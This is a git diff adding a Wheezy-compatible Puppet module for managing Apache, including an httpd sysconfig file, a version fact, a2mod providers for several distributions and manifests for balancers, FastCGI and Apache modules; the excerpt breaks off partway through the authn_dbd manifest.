b/modules/services/unix/http/apache_wheezy_compatible/apache/files/httpd new file mode 100644 index 000000000..d65a8d445 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/files/httpd @@ -0,0 +1,24 @@ +# Configuration file for the httpd service. + +# +# The default processing model (MPM) is the process-based +# 'prefork' model. A thread-based model, 'worker', is also +# available, but does not work with some modules (such as PHP). +# The service must be stopped before changing this variable. +# +#HTTPD=/usr/sbin/httpd.worker + +# +# To pass additional options (for instance, -D definitions) to the +# httpd binary at startup, set OPTIONS here. +# +#OPTIONS= +#OPTIONS=-DDOWN + +# +# By default, the httpd process is started in the C locale; to +# change the locale in which the server runs, the HTTPD_LANG +# variable can be set. +# +#HTTPD_LANG=C +export SHORTHOST=`hostname -s` diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/lib/facter/apache_version.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/facter/apache_version.rb new file mode 100644 index 000000000..63e4e1c2b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/facter/apache_version.rb @@ -0,0 +1,13 @@ +Facter.add(:apache_version) do + setcode do + if Facter::Util::Resolution.which('apachectl') + apache_version = Facter::Util::Resolution.exec('apachectl -v 2>&1') + Facter.debug "Matching apachectl '#{apache_version}'" + %r{^Server version: Apache\/(\d+.\d+(.\d+)?)}.match(apache_version)[1] + elsif Facter::Util::Resolution.which('apache2ctl') + apache_version = Facter::Util::Resolution.exec('apache2ctl -v 2>&1') + Facter.debug "Matching apache2ctl '#{apache_version}'" + %r{^Server version: Apache\/(\d+.\d+(.\d+)?)}.match(apache_version)[1] + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/parser/functions/bool2httpd.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/parser/functions/bool2httpd.rb new file mode 100644 index 000000000..5fb79f6f5 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/parser/functions/bool2httpd.rb @@ -0,0 +1,30 @@ +Puppet::Parser::Functions::newfunction(:bool2httpd, :type => :rvalue, :doc => <<-EOS +Transform a supposed boolean to On or Off. Pass all other values through. +Given a nil value (undef), bool2httpd will return 'Off' + +Example: + + $trace_enable = false + $server_signature = 'mail' + + bool2httpd($trace_enable) + # => 'Off' + bool2httpd($server_signature) + # => 'mail' + bool2httpd(undef) + # => 'Off' + +EOS +) do |args| + raise(Puppet::ParseError, "bool2httpd() wrong number of arguments. Given: #{args.size} for 1)") if args.size != 1 + + arg = args[0] + + if arg.nil? or arg == false or arg =~ /false/i or arg == :undef + return 'Off' + elsif arg == true or arg =~ /true/i + return 'On' + end + + return arg.to_s +end diff --git a/modules/services/unix/http/apache/lib/puppet/parser/functions/enclose_ipv6.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/parser/functions/enclose_ipv6.rb similarity index 100% rename from modules/services/unix/http/apache/lib/puppet/parser/functions/enclose_ipv6.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/parser/functions/enclose_ipv6.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/parser/functions/validate_apache_log_level.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/parser/functions/validate_apache_log_level.rb new file mode 100644 index 000000000..8a1ade0be --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/parser/functions/validate_apache_log_level.rb @@ -0,0 +1,27 @@ +module Puppet::Parser::Functions + newfunction(:validate_apache_log_level, :doc => <<-'ENDHEREDOC') do |args| + Perform simple validation of a string against the list of known log + levels as per http://httpd.apache.org/docs/current/mod/core.html#loglevel + validate_apache_loglevel('info') + + Modules maybe specified with their own levels like these: + validate_apache_loglevel('warn ssl:info') + validate_apache_loglevel('warn mod_ssl.c:info') + validate_apache_loglevel('warn ssl_module:info') + + Expected to be used from the main or vhost. + + Might be used from directory too later as apaceh supports that + + ENDHEREDOC + if (args.size != 1) then + raise Puppet::ParseError, ("validate_apache_loglevel(): wrong number of arguments (#{args.length}; must be 1)") + end + + log_level = args[0] + msg = "Log level '${log_level}' is not one of the supported Apache HTTP Server log levels." + + raise Puppet::ParseError, (msg) unless log_level =~ Regexp.compile('(emerg|alert|crit|error|warn|notice|info|debug|trace[1-8])') + + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod.rb new file mode 100644 index 000000000..670aca3d0 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod.rb @@ -0,0 +1,34 @@ +class Puppet::Provider::A2mod < Puppet::Provider + def self.prefetch(mods) + instances.each do |prov| + if mod = mods[prov.name] + mod.provider = prov + end + end + end + + def flush + @property_hash.clear + end + + def properties + if @property_hash.empty? + @property_hash = query || {:ensure => :absent} + @property_hash[:ensure] = :absent if @property_hash.empty? + end + @property_hash.dup + end + + def query + self.class.instances.each do |mod| + if mod.name == self.name or mod.name.downcase == self.name + return mod.properties + end + end + nil + end + + def exists? + properties[:ensure] != :absent + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/a2mod.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/a2mod.rb new file mode 100644 index 000000000..e257a579e --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/a2mod.rb @@ -0,0 +1,35 @@ +require 'puppet/provider/a2mod' + +Puppet::Type.type(:a2mod).provide(:a2mod, :parent => Puppet::Provider::A2mod) do + desc "Manage Apache 2 modules on Debian and Ubuntu" + + optional_commands :encmd => "a2enmod" + optional_commands :discmd => "a2dismod" + commands :apache2ctl => "apache2ctl" + + confine :osfamily => :debian + defaultfor :operatingsystem => [:debian, :ubuntu] + + def self.instances + modules = apache2ctl("-M").lines.collect { |line| + m = line.match(/(\w+)_module \(shared\)$/) + m[1] if m + }.compact + + modules.map do |mod| + new( + :name => mod, + :ensure => :present, + :provider => :a2mod + ) + end + end + + def create + encmd resource[:name] + end + + def destroy + discmd resource[:name] + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/gentoo.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/gentoo.rb new file mode 100644 index 000000000..07319dfdc --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/gentoo.rb @@ -0,0 +1,116 @@ +require 'puppet/util/filetype' +Puppet::Type.type(:a2mod).provide(:gentoo, :parent => Puppet::Provider) do + desc "Manage Apache 2 modules on Gentoo" + + confine :operatingsystem => :gentoo + defaultfor :operatingsystem => :gentoo + + attr_accessor :property_hash + + def create + @property_hash[:ensure] = :present + end + + def exists? + (!(@property_hash[:ensure].nil?) and @property_hash[:ensure] == :present) + end + + def destroy + @property_hash[:ensure] = :absent + end + + def flush + self.class.flush + end + + class << self + attr_reader :conf_file + end + + def self.clear + @mod_resources = [] + @modules = [] + @other_args = "" + end + + def self.initvars + @conf_file = "/etc/conf.d/apache2" + @filetype = Puppet::Util::FileType.filetype(:flat).new(conf_file) + @mod_resources = [] + @modules = [] + @other_args = "" + end + + self.initvars + + # Retrieve an array of all existing modules + def self.modules + if @modules.length <= 0 + # Locate the APACHE_OPTS variable + records = filetype.read.split(/\n/) + apache2_opts = records.grep(/^\s*APACHE2_OPTS=/).first + + # Extract all defines + while apache2_opts.sub!(/-D\s+(\w+)/, '') + @modules << $1.downcase + end + + # Hang on to any remaining options. + if apache2_opts.match(/APACHE2_OPTS="(.+)"/) + @other_args = $1.strip + end + + @modules.sort!.uniq! + end + + @modules + end + + def self.prefetch(resources={}) + # Match resources with existing providers + instances.each do |provider| + if resource = resources[provider.name] + resource.provider = provider + end + end + + # Store all resources using this provider for flushing + resources.each do |name, resource| + @mod_resources << resource + end + end + + def self.instances + modules.map {|mod| new(:name => mod, :provider => :gentoo, :ensure => :present)} + end + + def self.flush + + mod_list = modules + mods_to_remove = @mod_resources.select {|mod| mod.should(:ensure) == :absent}.map {|mod| mod[:name]} + mods_to_add = @mod_resources.select {|mod| mod.should(:ensure) == :present}.map {|mod| mod[:name]} + + mod_list -= mods_to_remove + mod_list += mods_to_add + mod_list.sort!.uniq! + + if modules != mod_list + opts = @other_args + " " + opts << mod_list.map {|mod| "-D #{mod.upcase}"}.join(" ") + opts.strip! + opts.gsub!(/\s+/, ' ') + + apache2_opts = %Q{APACHE2_OPTS="#{opts}"} + Puppet.debug("Writing back \"#{apache2_opts}\" to #{conf_file}") + + records = filetype.read.split(/\n/) + + opts_index = records.find_index {|i| i.match(/^\s*APACHE2_OPTS/)} + records[opts_index] = apache2_opts + + filetype.backup + filetype.write(records.join("\n")) + @modules = mod_list + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/modfix.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/modfix.rb new file mode 100644 index 000000000..8f35b2e4a --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/modfix.rb @@ -0,0 +1,12 @@ +Puppet::Type.type(:a2mod).provide :modfix do + desc "Dummy provider for A2mod. + + Fake nil resources when there is no crontab binary available. Allows + puppetd to run on a bootstrapped machine before a Cron package has been + installed. Workaround for: http://projects.puppetlabs.com/issues/2384 + " + + def self.instances + [] + end +end \ No newline at end of file diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/redhat.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/redhat.rb new file mode 100644 index 000000000..ea5494cb4 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/provider/a2mod/redhat.rb @@ -0,0 +1,60 @@ +require 'puppet/provider/a2mod' + +Puppet::Type.type(:a2mod).provide(:redhat, :parent => Puppet::Provider::A2mod) do + desc "Manage Apache 2 modules on RedHat family OSs" + + commands :apachectl => "apachectl" + + confine :osfamily => :redhat + defaultfor :osfamily => :redhat + + require 'pathname' + + # modpath: Path to default apache modules directory /etc/httpd/mod.d + # modfile: Path to module load configuration file; Default: resides under modpath directory + # libfile: Path to actual apache module library. Added in modfile LoadModule + + attr_accessor :modfile, :libfile + class << self + attr_accessor :modpath + def preinit + @modpath = "/etc/httpd/mod.d" + end + end + + self.preinit + + def create + File.open(modfile,'w') do |f| + f.puts "LoadModule #{resource[:identifier]} #{libfile}" + end + end + + def destroy + File.delete(modfile) + end + + def self.instances + modules = apachectl("-M").lines.collect { |line| + m = line.match(/(\w+)_module \(shared\)$/) + m[1] if m + }.compact + + modules.map do |mod| + new( + :name => mod, + :ensure => :present, + :provider => :redhat + ) + end + end + + def modfile + modfile ||= "#{self.class.modpath}/#{resource[:name]}.load" + end + + # Set libfile path: If absolute path is passed, then maintain it. Else, make it default from 'modules' dir. + def libfile + libfile = Pathname.new(resource[:lib]).absolute? ? resource[:lib] : "modules/#{resource[:lib]}" + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/type/a2mod.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/type/a2mod.rb new file mode 100644 index 000000000..07a911e5e --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/lib/puppet/type/a2mod.rb @@ -0,0 +1,30 @@ +Puppet::Type.newtype(:a2mod) do + @doc = "Manage Apache 2 modules" + + ensurable + + newparam(:name) do + Puppet.warning "The a2mod provider is deprecated, please use apache::mod instead" + desc "The name of the module to be managed" + + isnamevar + + end + + newparam(:lib) do + desc "The name of the .so library to be loaded" + + defaultto { "mod_#{@resource[:name]}.so" } + end + + newparam(:identifier) do + desc "Module identifier string used by LoadModule. Default: module-name_module" + + # http://httpd.apache.org/docs/2.2/mod/module-dict.html#ModuleIdentifier + + defaultto { "#{resource[:name]}_module" } + end + + autorequire(:package) { catalog.resource(:package, 'httpd')} + +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/balancer.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/balancer.pp new file mode 100644 index 000000000..41db8a8dc --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/balancer.pp @@ -0,0 +1,97 @@ +# == Define Resource Type: apache::balancer +# +# This type will create an apache balancer cluster file inside the conf.d +# directory. Each balancer cluster needs one or more balancer members (that can +# be declared with the apache::balancermember defined resource type). Using +# storeconfigs, you can export the apache::balancermember resources on all +# balancer members, and then collect them on a single apache load balancer +# server. +# +# === Requirement/Dependencies: +# +# Currently requires the puppetlabs/concat module on the Puppet Forge and uses +# storeconfigs on the Puppet Master to export/collect resources from all +# balancer members. +# +# === Parameters +# +# [*name*] +# The namevar of the defined resource type is the balancer clusters name. +# This name is also used in the name of the conf.d file +# +# [*proxy_set*] +# Hash, default empty. If given, each key-value pair will be used as a ProxySet +# line in the configuration. +# +# [*target*] +# String, default undef. If given, path to the file the balancer definition will +# be written. +# +# [*collect_exported*] +# Boolean, default 'true'. True means 'collect exported @@balancermember +# resources' (for the case when every balancermember node exports itself), +# false means 'rely on the existing declared balancermember resources' (for the +# case when you know the full set of balancermembers in advance and use +# apache::balancermember with array arguments, which allows you to deploy +# everything in 1 run) +# +# +# === Examples +# +# Exporting the resource for a balancer member: +# +# apache::balancer { 'puppet00': } +# +define apache::balancer ( + $proxy_set = {}, + $collect_exported = true, + $target = undef, +) { + include ::apache::mod::proxy_balancer + + if versioncmp($apache::mod::proxy_balancer::apache_version, '2.4') >= 0 { + $lbmethod = $proxy_set['lbmethod'] ? { + undef => 'byrequests', + default => $proxy_set['lbmethod'], + } + ensure_resource('apache::mod', "lbmethod_${lbmethod}") + } + + if $target { + $_target = $target + } else { + $_target = "${::apache::confd_dir}/balancer_${name}.conf" + } + + concat { "apache_balancer_${name}": + owner => '0', + group => '0', + path => $_target, + mode => $::apache::file_mode, + notify => Class['Apache::Service'], + } + + concat::fragment { "00-${name}-header": + target => "apache_balancer_${name}", + order => '01', + content => "\n", + } + + if $collect_exported { + Apache::Balancermember <<| balancer_cluster == $name |>> + } + # else: the resources have been created and they introduced their + # concat fragments. We don't have to do anything about them. + + concat::fragment { "01-${name}-proxyset": + target => "apache_balancer_${name}", + order => '19', + content => inline_template("<% @proxy_set.keys.sort.each do |key| %> Proxyset <%= key %>=<%= @proxy_set[key] %>\n<% end %>"), + } + + concat::fragment { "01-${name}-footer": + target => "apache_balancer_${name}", + order => '20', + content => "\n", + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/balancermember.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/balancermember.pp new file mode 100644 index 000000000..6e8b29f13 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/balancermember.pp @@ -0,0 +1,52 @@ +# == Define Resource Type: apache::balancermember +# +# This type will setup a balancer member inside a listening service +# configuration block in /etc/apache/apache.cfg on the load balancer. +# currently it only has the ability to specify the instance name, url and an +# array of options. More features can be added as needed. The best way to +# implement this is to export this resource for all apache balancer member +# servers, and then collect them on the main apache load balancer. +# +# === Requirement/Dependencies: +# +# Currently requires the puppetlabs/concat module on the Puppet Forge and +# uses storeconfigs on the Puppet Master to export/collect resources +# from all balancer members. +# +# === Parameters +# +# [*name*] +# The title of the resource is arbitrary and only utilized in the concat +# fragment name. +# +# [*balancer_cluster*] +# The apache service's instance name (or, the title of the apache::balancer +# resource). This must match up with a declared apache::balancer resource. +# +# [*url*] +# The url used to contact the balancer member server. +# +# [*options*] +# An array of options to be specified after the url. +# +# === Examples +# +# Exporting the resource for a balancer member: +# +# @@apache::balancermember { 'apache': +# balancer_cluster => 'puppet00', +# url => "ajp://${::fqdn}:8009" +# options => ['ping=5', 'disablereuse=on', 'retry=5', 'ttl=120'], +# } +# +define apache::balancermember( + $balancer_cluster, + $url = "http://${::fqdn}/", + $options = [], +) { + + concat::fragment { "BalancerMember ${name}": + target => "apache_balancer_${balancer_cluster}", + content => inline_template(" BalancerMember ${url} <%= @options.join ' ' %>\n"), + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/confd/no_accf.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/confd/no_accf.pp new file mode 100644 index 000000000..f35c0c8b9 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/confd/no_accf.pp @@ -0,0 +1,10 @@ +class apache::confd::no_accf { + # Template uses no variables + file { 'no-accf.conf': + ensure => 'file', + path => "${::apache::confd_dir}/no-accf.conf", + content => template('apache/confd/no-accf.conf.erb'), + require => Exec["mkdir ${::apache::confd_dir}"], + before => File[$::apache::confd_dir], + } +} diff --git a/modules/services/unix/http/apache/manifests/custom_config.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/custom_config.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/custom_config.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/custom_config.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/default_confd_files.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/default_confd_files.pp new file mode 100644 index 000000000..c06b30c83 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/default_confd_files.pp @@ -0,0 +1,15 @@ +class apache::default_confd_files ( + $all = true, +) { + # The rest of the conf.d/* files only get loaded if we want them + if $all { + case $::osfamily { + 'freebsd': { + include ::apache::confd::no_accf + } + default: { + # do nothing + } + } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/default_mods.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/default_mods.pp new file mode 100644 index 000000000..879df595c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/default_mods.pp @@ -0,0 +1,179 @@ +class apache::default_mods ( + $all = true, + $mods = undef, + $apache_version = $::apache::apache_version, + $use_systemd = $::apache::use_systemd, +) { + # These are modules required to run the default configuration. + # They are not configurable at this time, so we just include + # them to make sure it works. + case $::osfamily { + 'redhat': { + ::apache::mod { 'log_config': } + if versioncmp($apache_version, '2.4') >= 0 { + # Lets fork it + # Do not try to load mod_systemd on RHEL/CentOS 6 SCL. + if ( !($::osfamily == 'redhat' and versioncmp($::operatingsystemrelease, '7.0') == -1) and !($::operatingsystem == 'Amazon') ) { + if ($use_systemd) { + ::apache::mod { 'systemd': } + } + } + ::apache::mod { 'unixd': } + } + } + 'freebsd': { + ::apache::mod { 'log_config': } + ::apache::mod { 'unixd': } + } + 'Suse': { + ::apache::mod { 'log_config': } + } + default: {} + } + case $::osfamily { + 'gentoo': {} + default: { + ::apache::mod { 'authz_host': } + } + } + # The rest of the modules only get loaded if we want all modules enabled + if $all { + case $::osfamily { + 'debian': { + include ::apache::mod::authn_core + include ::apache::mod::reqtimeout + if versioncmp($apache_version, '2.4') < 0 { + ::apache::mod { 'authn_alias': } + } + } + 'redhat': { + include ::apache::mod::actions + include ::apache::mod::authn_core + include ::apache::mod::cache + include ::apache::mod::ext_filter + include ::apache::mod::mime + include ::apache::mod::mime_magic + include ::apache::mod::rewrite + include ::apache::mod::speling + include ::apache::mod::suexec + include ::apache::mod::version + include ::apache::mod::vhost_alias + ::apache::mod { 'auth_digest': } + ::apache::mod { 'authn_anon': } + ::apache::mod { 'authn_dbm': } + ::apache::mod { 'authz_dbm': } + ::apache::mod { 'authz_owner': } + ::apache::mod { 'expires': } + ::apache::mod { 'include': } + ::apache::mod { 'logio': } + ::apache::mod { 'substitute': } + ::apache::mod { 'usertrack': } + + if versioncmp($apache_version, '2.4') < 0 { + ::apache::mod { 'authn_alias': } + ::apache::mod { 'authn_default': } + } + } + 'freebsd': { + include ::apache::mod::actions + include ::apache::mod::authn_core + include ::apache::mod::cache + include ::apache::mod::disk_cache + include ::apache::mod::headers + include ::apache::mod::info + include ::apache::mod::mime_magic + include ::apache::mod::reqtimeout + include ::apache::mod::rewrite + include ::apache::mod::userdir + include ::apache::mod::version + include ::apache::mod::vhost_alias + include ::apache::mod::speling + include ::apache::mod::filter + + ::apache::mod { 'asis': } + ::apache::mod { 'auth_digest': } + ::apache::mod { 'auth_form': } + ::apache::mod { 'authn_anon': } + ::apache::mod { 'authn_dbm': } + ::apache::mod { 'authn_socache': } + ::apache::mod { 'authz_dbd': } + ::apache::mod { 'authz_dbm': } + ::apache::mod { 'authz_owner': } + ::apache::mod { 'dumpio': } + ::apache::mod { 'expires': } + ::apache::mod { 'file_cache': } + ::apache::mod { 'imagemap':} + ::apache::mod { 'include': } + ::apache::mod { 'logio': } + ::apache::mod { 'request': } + ::apache::mod { 'session': } + ::apache::mod { 'unique_id': } + } + default: {} + } + case $::apache::mpm_module { + 'prefork': { + include ::apache::mod::cgi + } + 'worker': { + include ::apache::mod::cgid + } + default: { + # do nothing + } + } + include ::apache::mod::alias + include ::apache::mod::authn_file + include ::apache::mod::autoindex + include ::apache::mod::dav + include ::apache::mod::dav_fs + include ::apache::mod::deflate + include ::apache::mod::dir + include ::apache::mod::mime + include ::apache::mod::negotiation + include ::apache::mod::setenvif + ::apache::mod { 'auth_basic': } + + if versioncmp($apache_version, '2.4') >= 0 { + # filter is needed by mod_deflate + include ::apache::mod::filter + + # authz_core is needed for 'Require' directive + ::apache::mod { 'authz_core': + id => 'authz_core_module', + } + + # lots of stuff seems to break without access_compat + ::apache::mod { 'access_compat': } + } else { + include ::apache::mod::authz_default + } + + include ::apache::mod::authz_user + + ::apache::mod { 'authz_groupfile': } + include ::apache::mod::env + } elsif $mods { + ::apache::default_mods::load { $mods: } + + if versioncmp($apache_version, '2.4') >= 0 { + # authz_core is needed for 'Require' directive + ::apache::mod { 'authz_core': + id => 'authz_core_module', + } + + # filter is needed by mod_deflate + include ::apache::mod::filter + } + } else { + if versioncmp($apache_version, '2.4') >= 0 { + # authz_core is needed for 'Require' directive + ::apache::mod { 'authz_core': + id => 'authz_core_module', + } + + # filter is needed by mod_deflate + include ::apache::mod::filter + } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/default_mods/load.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/default_mods/load.pp new file mode 100644 index 000000000..356e9fa00 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/default_mods/load.pp @@ -0,0 +1,8 @@ +# private define +define apache::default_mods::load ($module = $title) { + if defined("apache::mod::${module}") { + include "::apache::mod::${module}" + } else { + ::apache::mod { $module: } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/dev.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/dev.pp new file mode 100644 index 000000000..d4a25a7e4 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/dev.pp @@ -0,0 +1,14 @@ +class apache::dev { + + if ! defined(Class['apache']) { + fail('You must include the apache base class before using any apache defined resources') + } + + $packages = $::apache::dev_packages + if $packages { # FreeBSD doesn't have dev packages to install + package { $packages: + ensure => present, + require => Package['httpd'], + } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/fastcgi/server.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/fastcgi/server.pp new file mode 100644 index 000000000..78363062b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/fastcgi/server.pp @@ -0,0 +1,29 @@ +define apache::fastcgi::server ( + $host = '127.0.0.1:9000', + $timeout = 15, + $flush = false, + $faux_path = "/var/www/${name}.fcgi", + $fcgi_alias = "/${name}.fcgi", + $file_type = 'application/x-httpd-php', + $pass_header = undef, +) { + include ::apache::mod::fastcgi + + Apache::Mod['fastcgi'] -> Apache::Fastcgi::Server[$title] + + if is_absolute_path($host) { + $socket = $host + } + + file { "fastcgi-pool-${name}.conf": + ensure => present, + path => "${::apache::confd_dir}/fastcgi-pool-${name}.conf", + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + content => template('apache/fastcgi/server.erb'), + require => Exec["mkdir ${::apache::confd_dir}"], + before => File[$::apache::confd_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/init.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/init.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/init.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/init.pp diff --git a/modules/services/unix/http/apache/manifests/listen.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/listen.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/listen.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/listen.pp diff --git a/modules/services/unix/http/apache/manifests/mod.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/actions.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/actions.pp new file mode 100644 index 000000000..3b60f297f --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/actions.pp @@ -0,0 +1,3 @@ +class apache::mod::actions { + apache::mod { 'actions': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/alias.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/alias.pp new file mode 100644 index 000000000..4eb42ac97 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/alias.pp @@ -0,0 +1,23 @@ +class apache::mod::alias( + $apache_version = undef, + $icons_options = 'Indexes MultiViews', + # set icons_path to false to disable the alias + $icons_path = $::apache::params::alias_icons_path, +) inherits ::apache::params { + include ::apache + $_apache_version = pick($apache_version, $apache::apache_version) + apache::mod { 'alias': } + + # Template uses $icons_path, $_apache_version + if $icons_path { + file { 'alias.conf': + ensure => file, + path => "${::apache::mod_dir}/alias.conf", + mode => $::apache::file_mode, + content => template('apache/mod/alias.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/auth_basic.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/auth_basic.pp new file mode 100644 index 000000000..cacfafa4d --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/auth_basic.pp @@ -0,0 +1,3 @@ +class apache::mod::auth_basic { + ::apache::mod { 'auth_basic': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/auth_cas.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/auth_cas.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/auth_cas.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/auth_cas.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/auth_kerb.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/auth_kerb.pp new file mode 100644 index 000000000..4b4887fe8 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/auth_kerb.pp @@ -0,0 +1,7 @@ +class apache::mod::auth_kerb { + include ::apache + include ::apache::mod::authn_core + ::apache::mod { 'auth_kerb': } +} + + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/auth_mellon.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/auth_mellon.pp new file mode 100644 index 000000000..5dbb6b577 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/auth_mellon.pp @@ -0,0 +1,26 @@ +class apache::mod::auth_mellon ( + $mellon_cache_size = $::apache::params::mellon_cache_size, + $mellon_lock_file = $::apache::params::mellon_lock_file, + $mellon_post_directory = $::apache::params::mellon_post_directory, + $mellon_cache_entry_size = undef, + $mellon_post_ttl = undef, + $mellon_post_size = undef, + $mellon_post_count = undef +) inherits ::apache::params { + + include ::apache + ::apache::mod { 'auth_mellon': } + + # Template uses + # - All variables beginning with mellon_ + file { 'auth_mellon.conf': + ensure => file, + path => "${::apache::mod_dir}/auth_mellon.conf", + mode => $::apache::file_mode, + content => template('apache/mod/auth_mellon.conf.erb'), + require => [ Exec["mkdir ${::apache::mod_dir}"], ], + before => File[$::apache::mod_dir], + notify => Class['Apache::Service'], + } + +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authn_core.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authn_core.pp new file mode 100644 index 000000000..c5ce5b107 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authn_core.pp @@ -0,0 +1,7 @@ +class apache::mod::authn_core( + $apache_version = $::apache::apache_version +) { + if versioncmp($apache_version, '2.4') >= 0 { + ::apache::mod { 'authn_core': } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authn_dbd.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authn_dbd.pp new file mode 100644 index 000000000..be6ff3e55 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authn_dbd.pp @@ -0,0 +1,30 @@ +class apache::mod::authn_dbd ( + $authn_dbd_params, + $authn_dbd_dbdriver = 'mysql', + $authn_dbd_query = undef, + $authn_dbd_min = '4', + 